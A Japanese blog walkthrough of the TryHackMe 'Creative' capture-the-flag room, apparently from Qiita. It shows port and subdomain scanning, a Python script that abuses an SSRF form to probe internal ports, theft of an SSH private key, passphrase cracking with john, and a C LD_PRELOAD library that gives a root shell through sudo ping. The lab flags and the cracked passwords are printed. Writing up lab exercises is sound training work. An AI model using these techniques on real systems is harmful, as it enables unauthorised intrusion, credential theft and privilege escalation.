0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

概要

TryHackMe「Creative」のWalkthroughです。

Task1

Q1.What is user.txt?

nmapでポートスキャンを実行します。

$ nmap -Pn -sC -A -T4 -sV -p- 10.10.201.51
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-09 02:07 EDT
Nmap scan report for 10.10.201.51
Host is up (0.24s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a0:5c:1c:4e:b4:86:cf:58:9f:22:f9:7c:54:3d:7e:7b (RSA)
|   256 47:d5:bb:58:b6:c5:cc:e3:6c:0b:00:bd:95:d2:a0:fb (ECDSA)
|_  256 cb:7c:ad:31:41:bb:98:af:cf:eb:e4:88:7f:12:5e:89 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://creative.thm
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 371.37 seconds

ssh:22,http:80番ポートのオープンが確認できました。

Webサイトにアクセスしようとしたら名前解決エラーが出たので/etc/hostsファイルを編集します。

10.10.201.51    creative.thm

サイトにアクセスします。

home page.png

ディレクトリを列挙します。

$ gobuster dir -u http://creative.thm -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50

/assetsが見つかりました。

/assets               (Status: 301) [Size: 178] [--> http://creative.thm/assets/]

/assetsにアクセスすると403が返ってきました。

assets 403.png

開発者ツールで確認すると、/assets配下には画像ファイルやjsファイルの存在が分かりました。
しかし、攻撃の手掛かりになるものはありませんでした。

assets network.png

サブドメインを列挙します。

$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://creative.thm -H "Host: FUZZ.creative.thm" -fc 301

betaが見つかりました。

beta                    [Status: 200, Size: 591, Words: 91, Lines: 20, Duration: 252ms]

/etc/hostsファイルにサブドメインを追加します。

10.10.88.126    creative.thm beta.creative.thm

beta.creative.thmにアクセスします。

beta home.png

フォームにURLを入れることでURLが存在するか確かめることが出来るようです。
試しにhttp://localhost:80を入力すると、cretive.thmのホームページが表示されました。

enter localhost.png

ローカルでHTTPサーバーを立て、PHPリバースシェルコードにアクセスさせてシェルの獲得を試みましたが、動作しませんでした。

php rev shell.png

しかし、フォームからhttp://localhost:<port>を指定することで内部のサービスにアクセスできる可能性があります。

burpでブルートフォースしても良いのですが、無料版だと処理に時間がかかるのでpythonで実行します。

Burpでリクエストに必要なパラメータを取得します。

burp.png

動作していないポートからのContent-Length13で固定化されているようなのでこのレスポンスヘッダーでフィルタリングします。

creative_payload.py
import requests

for i in range(1, 65536):
    headers = {
        'Host': 'beta.creative.thm',
        'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
        'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
        'Accept-Language': 'en-US,en;q=0.5',
        'Accept-Encoding': 'gzip, deflate, br',
        'Content-Type': 'application/x-www-form-urlencoded',
        'Origin': 'http://beta.creative.thm',
        'Connection': 'close',
        'Referer': 'http://beta.creative.thm/',
        'Upgrade-Insecure-Requests': '1'
    }
    data = f"url=http%3A%2F%2Flocalhost%3A{i}"
    response = requests.post("http://beta.creative.thm", data=data, headers=headers)
    
    content_length = response.headers.get('Content-Length')
    if content_length != '13':
        print(f"port: {i}")

80の他に1337ポートが見つかりました。

port: 80
port: 1337

http://localhost:1337へアクセスすると/配下のディレクトリを閲覧できるようになっていました。

1337.png

http://localhost:1337/home/saadの中にuser.txtを見つけました。
http://localhost:1337/home/saad/user.txtをフォームに入力してユーザーフラグゲットです。

user.png

A.9a1ce90a7653d74ab98630b47b8b4a84

Q2.What is root.txt?

http://localhost:1337/home/saad/.ssh/id_rsaを見つけたのでローカルのファイルに保存します。

id rsa.png

ssh接続を試みるとパスワードを求められました。

$ chmod 600 saad_id_rsa 
$ ssh -i saad_id_rsa saad@10.10.88.126
Enter passphrase for key 'saad_id_rsa':

ssh2johnでハッシュ値に変換し、パスワードを特定します。

$ ssh2john saad_id_rsa > saad_hash.txt
$ john saad_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
sweetness        (saad_id_rsa)     
1g 0:00:00:45 DONE (2024-06-11 13:20) 0.02187g/s 21.00p/s 21.00c/s 21.00C/s whitney..sandy
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

パスワードが分かったのでsshでアクセスします。

saad@m4lware:~$ whoami
saad

ログインに成功しました。
権限昇格を試みます。
sudo -lはパスワードが分からず、実行できませんでした。

$ sudo -l
[sudo] password for saad: 

Sorry, try again.

SUIDで検索しましたが、めぼしいものは見つかりませんでした。

$ find / -user root -perm -4000 2>&1 | grep -v -e "Permission denied" -e "No such file or directory"

調べていると.bash_hisotryファイルにパスワードが保存されているのを発見しました。

saad@m4lware:~$ cat .bash_history 
whoami
pwd
ls -al
ls
cd ..
sudo -l
echo "saad:MyStrongestPasswordYet$4291" > creds.txt

sudo -lが実行できました。

$ sudo -l
[sudo] password for saad: 
Matching Defaults entries for saad on m4lware:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    env_keep+=LD_PRELOAD

User saad may run the following commands on m4lware:
    (root) /usr/bin/ping

env_keep+=LD_PRELOADという興味深い設定があるので調べると権限昇格の脆弱性がありました。

HackTricksのテクニック通りに進めていきます。
まず、/tmp配下にpe.cファイルを作成しました。

/tmp/pe.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

/tmpに移動して作成したファイルをコンパイルします。

saad@m4lware:~$ cd /tmp
saad@m4lware:/tmp$ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
pe.c: In function ‘_init’:
pe.c:7:1: warning: implicit declaration of function ‘setgid’ [-Wimplicit-function-declaration]
    7 | setgid(0);
      | ^~~~~~
pe.c:8:1: warning: implicit declaration of function ‘setuid’ [-Wimplicit-function-declaration]
    8 | setuid(0);
      | ^~~~~~

root権限でpingが実行できるので、それを利用して権限昇格に成功しました。

$ sudo LD_PRELOAD=./pe.so ping
root@m4lware:/tmp# id
uid=0(root) gid=0(root) groups=0(root)

/root/root.txtを閲覧してフラグゲットです。

root@m4lware:/tmp# ls -l /root
total 8
-rw------- 1 root root   33 Jan 21  2023 root.txt
drwx------ 3 root root 4096 Jan 20  2023 snap
root@m4lware:/tmp# cat /root/root.txt
992bfd94b90da48634aed182aae7b99f

A.992bfd94b90da48634aed182aae7b99f

0
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?